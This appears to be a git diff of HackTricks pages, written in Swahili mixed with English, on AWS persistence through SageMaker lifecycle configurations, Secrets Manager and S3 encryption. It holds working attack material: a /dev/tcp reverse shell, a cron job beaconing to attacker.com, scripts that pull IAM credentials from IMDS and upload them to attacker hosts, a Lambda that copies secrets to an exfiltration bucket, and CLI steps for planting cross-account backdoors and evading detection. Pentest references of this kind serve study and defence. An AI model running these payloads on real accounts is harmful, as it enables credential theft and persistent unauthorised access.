+Wakati the encryption process imemalizika, mtumiaji atatumia KMS API kutengeneza key mpya (`aws kms generate-data-key`) na ata **store the generated encrypted key inside the metadata** ya faili ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), ili when the decrypting occur iweze ku-decrypt tena kwa kutumia KMS:
+
+<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
+
+Hivyo, attacker anaweza kupata key hii kutoka metadata na ku-decrypt kutumia KMS (`aws kms decrypt`) kupata key iliyotumika ku-encrypt taarifa. Kwa njia hii attacker atakuwa na encryption key na ikiwa key hiyo itatumiwa tena ku-encrypt faili nyingine ataweza kuitumia.
+
+### Using S3 ACLs
+
+Ingawa kwa kawaida ACLs za buckets zimeshizimwa, attacker mwenye privileges za kutosha anaweza kuzibadilisha matumizi yao (ikiwa zimeshawashwa au ikiwa attacker anaweza kuzizima) ili kudumisha access kwa S3 bucket.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md

@@ -1,158 +0,0 @@
-# Aws Sagemaker Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Overview of Persistence Techniques
-
-Sehemu hii inaelezea mbinu za kupata kudumu katika SageMaker kwa kutumia Lifecycle Configurations (LCCs), ikiwa ni pamoja na reverse shells, cron jobs, wizi wa akreditivu kupitia IMDS, na SSH backdoors. Skripti hizi zinafanya kazi na jukumu la IAM la mfano na zinaweza kudumu hata baada ya kuanzishwa upya. Mbinu nyingi zinahitaji ufikiaji wa mtandao wa nje, lakini matumizi ya huduma kwenye AWS control plane bado yanaweza kuruhusu mafanikio ikiwa mazingira yako yuko katika hali ya 'VPC-only'.
-#### Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads.
-
-## Required Permissions
-* Notebook Instances:
-```
-sagemaker:CreateNotebookInstanceLifecycleConfig
-sagemaker:UpdateNotebookInstanceLifecycleConfig
-sagemaker:CreateNotebookInstance
-sagemaker:UpdateNotebookInstance
-```
-* Maombi ya Studio:
-```
-sagemaker:CreateStudioLifecycleConfig
-sagemaker:UpdateStudioLifecycleConfig
-sagemaker:UpdateUserProfile
-sagemaker:UpdateSpace
-sagemaker:UpdateDomain
-```
-## Weka Mipangilio ya Mzunguko wa Maisha kwenye Mifano ya Notebook
-
-### Mfano wa Amri za AWS CLI:
-```bash
-# Create Lifecycle Configuration*
-
-aws sagemaker create-notebook-instance-lifecycle-config \
---notebook-instance-lifecycle-config-name attacker-lcc \
---on-start Content=$(base64 -w0 reverse_shell.sh)
-
-
-# Attach Lifecycle Configuration to Notebook Instance*
-
-aws sagemaker update-notebook-instance \
---notebook-instance-name victim-instance \
---lifecycle-config-name attacker-lcc
-```
-## Weka Mipangilio ya Mzunguko kwenye SageMaker Studio
-
-Mipangilio ya Mzunguko inaweza kuunganishwa katika viwango mbalimbali na kwa aina tofauti za programu ndani ya SageMaker Studio.
-
-### Kiwango cha Kikoa cha Studio (Watumiaji Wote)
-```bash
-# Create Studio Lifecycle Configuration*
-
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-studio-lcc \
---studio-lifecycle-config-app-type JupyterServer \
---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
-
-
-# Apply LCC to entire Studio Domain*
-
-aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
-"JupyterServerAppSettings": {
-"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
-}
-}'
-```
-### Kiwango cha Studio Space (Nafasi za Binafsi au za Pamoja)
-```bash
-# Update SageMaker Studio Space to attach LCC*
-
-aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
-"JupyterServerAppSettings": {
-"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
-}
-}'
-```
-## Aina za Mipangilio ya Mzunguko wa Maombi ya Studio
-
-Mipangilio ya mzunguko inaweza kutumika kwa aina tofauti za maombi ya SageMaker Studio:
-* JupyterServer: Inatekeleza skripti wakati wa kuanzishwa kwa seva ya Jupyter, bora kwa mitambo ya kudumu kama vile reverse shells na cron jobs.
-* KernelGateway: Inatekelezwa wakati wa uzinduzi wa programu ya kernel gateway, muhimu kwa usanidi wa awali au ufikiaji wa kudumu.
-* CodeEditor: Inatumika kwa Mhariri wa Kode (Code-OSS), ikiruhusu skripti zinazotekelezwa wakati wa kuanza kwa vikao vya uhariri wa kode.
-
-### Amri ya Mfano kwa Kila Aina:
-
-### JupyterServer
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-jupyter-lcc \
---studio-lifecycle-config-app-type JupyterServer \
---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
-```
-### KernelGateway
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-kernelgateway-lcc \
---studio-lifecycle-config-app-type KernelGateway \
---studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
-```
-### Mhariri wa Msimbo
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-codeeditor-lcc \
---studio-lifecycle-config-app-type CodeEditor \
---studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
-```
-### Taarifa Muhimu:
-* Kuunganisha LCCs kwenye kiwango cha domain au nafasi kunaathiri watumiaji au programu zote ndani ya upeo.
-* Inahitaji ruhusa za juu (sagemaker:UpdateDomain, sagemaker:UpdateSpace) ambazo kwa kawaida ni rahisi zaidi kwenye kiwango cha nafasi kuliko kiwango cha domain.
-* Udhibiti wa kiwango cha mtandao (kwa mfano, uchujaji mkali wa egress) unaweza kuzuia shells za nyuma zinazofanikiwa au uhamasishaji wa data.
-
-## Shell ya Nyuma kupitia Mipangilio ya Mzunguko
-
-Mipangilio ya Mzunguko ya SageMaker (LCCs) inatekeleza skripti maalum wakati mifano ya notebook inaanza. Mshambuliaji mwenye ruhusa anaweza kuanzisha shell ya nyuma inayodumu. 
-
-### Mfano wa Payload:
-```
-#!/bin/bash
-ATTACKER_IP="<ATTACKER_IP>"
-ATTACKER_PORT="<ATTACKER_PORT>"
-nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
-```
-## Cron Job Persistence via Lifecycle Configuration
-
-Mshambuliaji anaweza kuingiza kazi za cron kupitia scripts za LCC, kuhakikisha utekelezaji wa mara kwa mara wa scripts au amri za uhalifu, na kuwezesha kudumu kwa siri.
-
-### Payload Example:
-```
-#!/bin/bash
-PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
-CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
-CRON_JOB="*/30 * * * * $CRON_CMD"
-
-mkdir -p /home/ec2-user/SageMaker/.local_tasks
-echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
-chmod +x $PAYLOAD_PATH
-
-(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
-```
-## Uhamasishaji wa Akida kupitia IMDS (v1 & v2)
-
-Mikakati ya mzunguko inaweza kuuliza Huduma ya Metadata ya Kifaa (IMDS) ili kupata akida za IAM na kuhamasisha hizo kwenye eneo linalodhibitiwa na mshambuliaji.
-
-### Mfano wa Payload:
-```bash
-#!/bin/bash
-ATTACKER_BUCKET="s3://attacker-controlled-bucket"
-TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
-ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
-curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
-
-# Exfiltrate via S3*
-
-aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
-
-# Alternatively, exfiltrate via HTTP POST*
-
-curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md

@@ -0,0 +1,230 @@
+# AWS - SageMaker Uendelevu
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Muhtasari wa Mbinu za Uendelevu
+
+Sehemu hii inaelezea njia za kupata uendelevu katika SageMaker kwa kutumia vibaya Lifecycle Configurations (LCCs), ikijumuisha reverse shells, cron jobs, credential theft via IMDS, na SSH backdoors. Scripts hizi zinaendesha kwa IAM role ya instance na zinaweza kudumu hata baada ya kuanzishwa upya. Mbinu nyingi zinahitaji outbound network access, lakini matumizi ya services kwenye AWS control plane bado yanaweza kuruhusu mafanikio ikiwa mazingira yako yako katika mode ya 'VPC-only'.
+
+> [!TIP]
+> Note: SageMaker notebook instances ni kimsingi EC2 instances zinazosimamiwa zilizosanifiwa hasa kwa ajili ya kazi za machine learning.
+
+## Ruhusa Zinazohitajika
+* Notebook Instances:
+```
+sagemaker:CreateNotebookInstanceLifecycleConfig
+sagemaker:UpdateNotebookInstanceLifecycleConfig
+sagemaker:CreateNotebookInstance
+sagemaker:UpdateNotebookInstance
+```
+* Programu za Studio:
+```
+sagemaker:CreateStudioLifecycleConfig
+sagemaker:UpdateStudioLifecycleConfig
+sagemaker:UpdateUserProfile
+sagemaker:UpdateSpace
+sagemaker:UpdateDomain
+```
+## Weka Lifecycle Configuration kwenye Notebook Instances
+
+### Mifano ya AWS CLI Amri:
+```bash
+# Create Lifecycle Configuration*
+
+aws sagemaker create-notebook-instance-lifecycle-config \
+--notebook-instance-lifecycle-config-name attacker-lcc \
+--on-start Content=$(base64 -w0 reverse_shell.sh)
+
+
+# Attach Lifecycle Configuration to Notebook Instance*
+
+aws sagemaker update-notebook-instance \
+--notebook-instance-name victim-instance \
+--lifecycle-config-name attacker-lcc
+```
+## Weka Lifecycle Configuration kwenye SageMaker Studio
+
+Lifecycle Configurations zinaweza kuambatishwa katika viwango mbalimbali na kwa aina tofauti za app ndani ya SageMaker Studio.
+
+### Kiwango cha Domain cha Studio (Watumiaji Wote)
+```bash
+# Create Studio Lifecycle Configuration*
+
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-studio-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+
+
+# Apply LCC to entire Studio Domain*
+
+aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+### Studio Space Level (Nafasi za Binafsi au Ziloshirikishwa)
+```bash
+# Update SageMaker Studio Space to attach LCC*
+
+aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+## Aina za Mipangilio za Lifecycle za Studio Application
+
+Mipangilio ya lifecycle zinaweza kutumika mahsusi kwa aina tofauti za programu za SageMaker Studio:
+* JupyterServer: Hukimbia scripts wakati wa kuanzishwa kwa server ya Jupyter; bora kwa mbinu za persistence kama reverse shells na cron jobs.
+* KernelGateway: Hutekelezwa wakati app ya kernel gateway inapoanzishwa; inafaa kwa usanidi wa awali au ufikiaji wa kudumu.
+* CodeEditor: Inatumika kwenye Code Editor (Code-OSS), ikiruhusu scripts zinazotekelezwa wakati vikao vya kuanza kuhariri code.
+
+### Amri ya Mfano kwa Kila Aina:
+
+### JupyterServer
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-jupyter-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+```
+### KernelGateway
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-kernelgateway-lcc \
+--studio-lifecycle-config-app-type KernelGateway \
+--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
+```
+### Mhariri wa Msimbo
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-codeeditor-lcc \
+--studio-lifecycle-config-app-type CodeEditor \
+--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
+```
+### Taarifa Muhimu:
+* Kutumia LCCs katika ngazi ya domain au space kunaathiri watumiaji wote au applications ndani ya wigo.
+* Inahitaji ruhusa za juu (sagemaker:UpdateDomain, sagemaker:UpdateSpace) na kwa kawaida ni rahisi kutekelezwa kwenye space kuliko ngazi ya domain.
+* Udhibiti wa ngazi ya mtandao (mfano, strict egress filtering) unaweza kuzuia reverse shells zinazofanikiwa au data exfiltration.
+
+## Reverse Shell kupitia Lifecycle Configuration
+
+SageMaker Lifecycle Configurations (LCCs) zinaendesha script maalum wakati notebook instances zinapoanza. Mshambuliaji mwenye ruhusa anaweza kuanzisha reverse shell ya kudumu.
+
+### Payload Example:
+```
+#!/bin/bash
+ATTACKER_IP="<ATTACKER_IP>"
+ATTACKER_PORT="<ATTACKER_PORT>"
+nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
+```
+## Cron Job Persistence kupitia Lifecycle Configuration
+
+Mshambuliaji anaweza kuingiza cron jobs kupitia LCC scripts, kuhakikisha utekelezaji wa mara kwa mara wa malicious scripts au commands, na hivyo kuwezesha persistence kwa siri.
+
+### Payload Example:
+```
+#!/bin/bash
+PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
+CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
+CRON_JOB="*/30 * * * * $CRON_CMD"
+
+mkdir -p /home/ec2-user/SageMaker/.local_tasks
+echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
+chmod +x $PAYLOAD_PATH
+
+(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
+```
+## Uondoaji wa credentials kupitia IMDS (v1 & v2)
+
+Mipangilio ya lifecycle inaweza kuuliza Instance Metadata Service (IMDS) ili kupata IAM credentials na kuzipeleka kwa mahali linalodhibitiwa na mshambuliaji.
+
+### Payload Example:
+```bash
+#!/bin/bash
+ATTACKER_BUCKET="s3://attacker-controlled-bucket"
+TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
+ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
+curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
+
+# Exfiltrate via S3*
+
+aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
+
+# Alternatively, exfiltrate via HTTP POST*
+
+curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
+```
+## Uendelevu kupitia sera ya rasilimali ya Model Registry (PutModelPackageGroupPolicy)
+
+Tumia vibaya sera iliyotegemezwa rasilimali kwenye SageMaker Model Package Group ili kumpa mhusika wa nje haki za kuvuka akaunti (mfano, CreateModelPackage/Describe/List). Hii huunda mlango wa nyuma wa kudumu unaoruhusu kusukuma matoleo ya modeli zilizochafuka au kusoma metadata/viambatisho vya modeli hata kama mtumiaji/role wa IAM wa mshambuliaji kwenye akaunti ya mwathiriwa amefutwa.
+
+Ruhusa zinazohitajika
+- sagemaker:CreateModelPackageGroup
+- sagemaker:PutModelPackageGroupPolicy
+- sagemaker:GetModelPackageGroupPolicy
+
+Hatua (us-east-1)
+```bash
+# 1) Create a Model Package Group
+REGION=${REGION:-us-east-1}
+MPG=atk-mpg-$(date +%s)
+aws sagemaker create-model-package-group \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--model-package-group-description "Test backdoor"
+
+# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
+cat > /tmp/mpg-policy.json <<JSON
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowCrossAccountCreateDescribeList",
+"Effect": "Allow",
+"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
+"Action": [
+"sagemaker:CreateModelPackage",
+"sagemaker:DescribeModelPackage",
+"sagemaker:DescribeModelPackageGroup",
+"sagemaker:ListModelPackages"
+],
+"Resource": [
+"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
+"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
+]
+}
+]
+}
+JSON
+
+# 3) Attach the policy to the group
+aws sagemaker put-model-package-group-policy \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
+
+# 4) Retrieve the policy (evidence)
+aws sagemaker get-model-package-group-policy \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--query ResourcePolicy --output text
+```
+Vidokezo
+- Kwa backdoor halisi ya miongoni mwa akaunti, weka Resource kwa specific group ARN na tumia the attacker’s AWS account ID katika Principal.
+- Kwa utekelezaji kuanzia hadi mwisho miongoni mwa akaunti au kusoma artifact, linganisha ruhusa za S3/ECR/KMS na akaunti ya mshambuliaji.
+
+Athari
+- Udhibiti wa kudumu miongoni mwa akaunti wa kundi la Model Registry: mshambuliaji anaweza kuchapisha matoleo ya model yenye madhara au kuorodhesha/kusoma metadata ya model hata baada ya entiti zao za IAM kuondolewa kwenye akaunti ya mwathiriwa.
+
+## Canvas miongoni mwa akaunti model registry backdoor (UpdateUserProfile.ModelRegisterSettings)
+
+Tumia vibaya SageMaker Canvas user settings ili kimya-kimya kupangia tena (redirect) model registry writes kwa akaunti inayodhibitiwa na mshambuliaji kwa kuwezesha ModelRegisterSettings na kuelekeza CrossAccountModelRegisterRoleArn kwa role ya mshambuliaji katika akaunti nyingine.
+
+Ruhusa zinazohitajika
+- sagemaker:UpdateUserProfile on the target UserProfile
+- Optional: sagemaker:CreateUserProfile on a Domain you control
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md

@@ -1,51 +0,0 @@
-# AWS - Usimamizi wa Siri
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Usimamizi wa Siri
-
-Kwa maelezo zaidi angalia:
-
-{{#ref}}
-../aws-services/aws-secrets-manager-enum.md
-{{#endref}}
-
-### Kupitia Sera za Rasilimali
-
-Inawezekana **kutoa ufikiaji wa siri kwa akaunti za nje** kupitia sera za rasilimali. Angalia [**ukurasa wa Privesc wa Usimamizi wa Siri**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) kwa maelezo zaidi. Kumbuka kwamba ili **kufikia siri**, akaunti ya nje pia itahitaji **ufikiaji wa funguo za KMS zinazoficha siri**.
-
-### Kupitia Lambda ya Kugeuza Siri
-
-Ili **kugeuza siri** kiotomatiki, **Lambda** iliyopangwa inaitwa. Ikiwa mshambuliaji angeweza **kubadilisha** **kanuni** angeweza moja kwa moja **kuhamasisha siri mpya** kwake mwenyewe.
-
-Hii ndiyo jinsi kanuni ya lambda kwa hatua kama hiyo inaweza kuonekana:
-```python
-import boto3
-
-def rotate_secrets(event, context):
-# Create a Secrets Manager client
-client = boto3.client('secretsmanager')
-
-# Retrieve the current secret value
-secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
-
-# Rotate the secret by updating its value
-new_secret_value = rotate_secret(secret_value)
-client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
-
-def rotate_secret(secret_value):
-# Perform the rotation logic here, e.g., generate a new password
-
-# Example: Generate a new password
-new_secret_value = generate_password()
-
-return new_secret_value
-
-def generate_password():
-# Example: Generate a random password using the secrets module
-import secrets
-import string
-password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
-return password
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md

@@ -0,0 +1,230 @@
+# AWS - Secrets Manager Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+Kwa habari zaidi angalia:
+
+{{#ref}}
+../../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### Kupitia Resource Policies
+
+Inawezekana **kutoa ruhusa za kufikia secrets kwa akaunti za nje** kupitia resource policies. Angalia [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) kwa maelezo zaidi. Kumbuka kwamba ili **access a secret**, akaunti ya nje pia itahitaji **access to the KMS key encrypting the secret**.
+
+### Kupitia Secrets Rotate Lambda
+
+Ili **rotate secrets** kwa automatis, huitwa **Lambda** iliyosanifiwa. Ikiwa mshambuliaji angeweza **change** the **code** angeweza moja kwa moja **exfiltrate the new secret** kwake mwenyewe.
+
+Hivi ndivyo lambda code kwa kitendo kama hicho inaweza kuonekana:
+```python
+import boto3
+
+def rotate_secrets(event, context):
+# Create a Secrets Manager client
+client = boto3.client('secretsmanager')
+
+# Retrieve the current secret value
+secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
+
+# Rotate the secret by updating its value
+new_secret_value = rotate_secret(secret_value)
+client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
+
+def rotate_secret(secret_value):
+# Perform the rotation logic here, e.g., generate a new password
+
+# Example: Generate a new password
+new_secret_value = generate_password()
+
+return new_secret_value
+
+def generate_password():
+# Example: Generate a random password using the secrets module
+import secrets
+import string
+password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
+return password
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Badilisha rotation Lambda kuwa function inayodhibitiwa na mshambuliaji kupitia RotateSecret
+
+Tumia vibaya `secretsmanager:RotateSecret` ili kurekebisha secret ili iende kwa rotation Lambda inayodhibitiwa na mshambuliaji na kusababisha rotation mara moja. Function haribifu hufanya exfiltration ya matoleo ya secret (AWSCURRENT/AWSPENDING) wakati wa hatua za rotation (createSecret/setSecret/testSecret/finishSecret) hadi sink ya mshambuliaji (kwa mfano, S3 au HTTP ya nje).
+
+- Mahitaji
+- Ruhusa: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` kwa Lambda ya mshambuliaji, `iam:CreateRole/PassRole/PutRolePolicy` (au AttachRolePolicy) ili kuandaa execution role ya Lambda na ruhusa za `secretsmanager:GetSecretValue` na ikiwezekana `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (ili rotation iendelee kufanya kazi), KMS `kms:Decrypt` kwa KMS key ya secret, na `s3:PutObject` (au outbound egress) kwa exfiltration.
+- Kitambulisho cha secret lengwa (`SecretId`) chenye rotation imewezeshwa au uwezo wa kuwezesha rotation.
+
+- Athari
+- Mshambuliaji anapata thamani(za) secret bila kubadilisha code ya rotation ya halali. Tu usanidi wa rotation unabadilishwa ili kuashiria Lambda ya mshambuliaji. Ikiwa haitagunduliwa, rotations zilizopangwa za baadaye zitaendelea kumuita function ya mshambuliaji pia.
+
+- Hatua za shambulio (CLI)
+1) Andaa sink ya mshambuliaji na role ya Lambda
+- Tengeneza S3 bucket kwa exfiltration na execution role inayothibitishwa na Lambda yenye ruhusa za kusoma secret na kuandika kwenye S3 (plus logs/KMS kama inahitajika).
+2) Deploy Lambda ya mshambuliaji ambayo katika kila hatua ya rotation inapata thamani(za) secret na kuziandika kwenye S3. Mantiki ndogo ya rotation inaweza kunakili tu AWSCURRENT hadi AWSPENDING na kuikuza katika finishSecret ili huduma iendelee kuwa imara.
+3) Rekebisha rotation na kusababisha
+- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
+4) Thibitisha exfiltration kwa kuorodhesha prefix ya S3 kwa secret hiyo na kuchunguza artifacts za JSON.
+5) (Hiari) Rudisha rotation Lambda ya asili ili kupunguza ugundaji.
+
+- Mfano wa Lambda ya mshambuliaji (Python) inayofanya exfiltration hadi S3
+- Mazingira: `EXFIL_BUCKET=<bucket>`
+- Handler: `lambda_function.lambda_handler`
+```python
+import boto3, json, os, base64, datetime
+s3 = boto3.client('s3')
+sm = boto3.client('secretsmanager')
+BUCKET = os.environ['EXFIL_BUCKET']
+
+def write_s3(key, data):
+s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
+
+def lambda_handler(event, context):
+sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
+# Exfil both stages best-effort
+def getv(**kw):
+try:
+r = sm.get_secret_value(**kw)
+return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
+except Exception as e:
+return {'error': str(e)}
+current = getv(SecretId=sid, VersionStage='AWSCURRENT')
+pending = getv(SecretId=sid, VersionStage='AWSPENDING')
+key = f"{sid.replace(':','_')}/{step}/{token}.json"
+write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
+# Minimal rotation (optional): copy current->pending and promote in finishSecret
+# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
+```
+### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
+
+Abuse Secrets Manager version staging labels to plant an attacker-controlled secret version and keep it hidden under a custom stage (for example, `ATTACKER`) while production continues to use the original `AWSCURRENT`. At any moment, move `AWSCURRENT` to the attacker’s version to poison dependent workloads, then restore it to minimize detection. This provides stealthy backdoor persistence and rapid time-of-use manipulation without changing the secret name or rotation config.
+
+- Mahitaji
+- Ruhusa: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (for verification)
+- Kitambulisho cha siri lengwa katika Region.
+
+- Athari
+- Dumisha toleo lililofichwa, linalodhibitiwa na mshambuliaji la siri, na ugeuze kwa atomiki `AWSCURRENT` kwenda kwenye toleo hilo wakati wowote ulipohitajika, ukichochea chochote kinachotegemea kutatua jina hilo la siri. Ugeuzaji huo na urejeshaji wa haraka hupunguza uwezekano wa kugunduliwa huku ukiruhusu udanganyifu wa wakati-wa-matumizi.
+
+- Hatua za mashambulizi (CLI)
+- Maandalizi
+- `export SECRET_ID=<target secret id or arn>`
+
+<details>
+<summary>Amri za CLI</summary>
+```bash
+# 1) Capture current production version id (the one holding AWSCURRENT)
+CUR=$(aws secretsmanager list-secret-version-ids \
+--secret-id "$SECRET_ID" \
+--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
+--output text)
+
+# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
+BACKTOK=$(uuidgen)
+aws secretsmanager put-secret-value \
+--secret-id "$SECRET_ID" \
+--client-request-token "$BACKTOK" \
+--secret-string {backdoor:hunter2!}
+
+# 3) Restore production and hide attacker version under custom stage
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$CUR" \
+--remove-from-version-id "$BACKTOK"
+
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage ATTACKER \
+--move-to-version-id "$BACKTOK"
+
+# Verify stages
+aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
+
+# 4) On-demand flip to the attacker’s value and revert quickly
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$BACKTOK" \
+--remove-from-version-id "$CUR"
+
+# Validate served plaintext now equals the attacker payload
+aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
+
+# Revert to reduce detection
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$CUR" \
+--remove-from-version-id "$BACKTOK"
+```
+</details>
+
+- Vidokezo
+- When you supply `--client-request-token`, Secrets Manager uses it as the `VersionId`. Adding a new version without explicitly setting `--version-stages` moves `AWSCURRENT` to the new version by default, and marks the previous one as `AWSPREVIOUS`.
+
+
+### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
+
+Tumia vibaya Secrets Manager multi-Region replication kuunda replica ya target secret katika Region yenye ufuatiliaji mdogo, uiencrypt kwa KMS key inayodhibitiwa na mshambuliaji katika Region hiyo, kisha promote replica kuwa standalone secret na kuambatisha permissive resource policy inayompa mshambuliaji read access. Original secret katika primary Region inabaki isiyobadilika, ikitoa njia ya kudumu, ya kimya (stealthy) ya kupata thamani ya secret kupitia replica iliyopromote huku ikizunguka vikwazo vya KMS/policy kwenye primary.
+
+- Mahitaji
+- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
+- In the replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (or `kms:PutKeyPolicy`) to allow the attacker principal `kms:Decrypt`.
+- An attacker principal (user/role) to receive read access to the promoted secret.
+
+- Athari
